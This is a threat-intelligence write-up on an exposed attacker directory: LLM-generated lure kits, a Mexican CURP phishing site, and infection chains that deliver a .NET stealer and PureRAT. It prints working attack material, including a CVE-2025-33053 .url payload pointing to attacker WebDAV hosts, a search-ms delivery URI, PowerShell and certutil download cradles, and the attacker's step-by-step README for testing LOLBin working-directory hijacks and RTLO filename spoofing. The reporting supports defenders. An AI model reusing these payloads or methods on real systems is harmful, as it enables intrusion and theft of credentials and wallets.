3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
